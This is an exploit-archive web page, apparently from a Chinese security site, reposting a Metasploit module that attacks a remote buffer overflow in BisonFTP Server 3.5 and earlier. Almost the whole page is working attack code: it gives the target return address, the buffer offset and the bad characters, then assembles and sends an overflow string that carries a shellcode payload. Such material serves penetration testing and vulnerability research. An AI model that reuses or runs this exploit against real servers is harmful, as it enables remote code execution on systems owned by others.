首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BisonFTP Server Remote Buffer Overflow Exploit (MSF)
来源:http://www.metasploit.com 作者:SecPod 发布时间:2011-09-13  

##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server <= v3.5
# Date     : 09/07/2011
#
###############################################################################

##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
   'Description'    => %q{
      This module exploits a buffer overflow vulnerability
      found in the BisonFTP Server <= v3.5.
   },
   'Author'         =>
    [
     'localh0t',  # Initial PoC
     'veerendragg @ SecPod', # Metasploit Module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1.0 $',
   'References'     =>
    [
     [ 'BID', '49109'],
     [ 'CVE', '1999-1510'],
     [ 'URL', 'http://secpod.org/blog/?p=384'],
     [ 'URL', 'http://www.exploit-db.com/exploits/17649'],
     [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space' => 388,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3 EN',
      {
       'Ret' => 0x0040333f, # call edx from Bisonftp.exe
       'Offset' => 1432
      }
     ],
    ],
   'DisclosureDate' => 'Aug 07 2011',
   'DefaultTarget' => 0))
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")
  print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
  sploit = rand_text_alpha(1028)     ## Random Buffer
  sploit << "\x90" * 16      ## Padding
  sploit << payload.encoded     ## Encoded Payload
  sploit << "\x90" * (388 - payload.encoded.length)  ## More Nops
  sploit << [target.ret].pack('V')    ## Return Address
  sploit << rand_text_alpha(39)     ## MOre Buffer

  print_status("Sending payload...")
  sock.put(sploit)

  handler
  disconnect
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Wing FTP Server USER Buffer Ov
·Mel0nPlayer 1.0.11.x Denial of
·PHP "phar/phar_object.c" forma
·ScadaTEC ModbusTagServer & Sca
·N-TRACK Studio universal Local
·KnFTP Server Buffer Overflow E
·WVxWorks FTP server Password O
·Aika 0.2 colladaconverter Xml
·Ubuntu <= 11.04 ftp client Loc
·Wav Player 1.1.3.6 .pll Buffer
·DVD X Player 5.5 Pro (SEH DEP
·Wordpress 1 Flash Gallery Plug
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved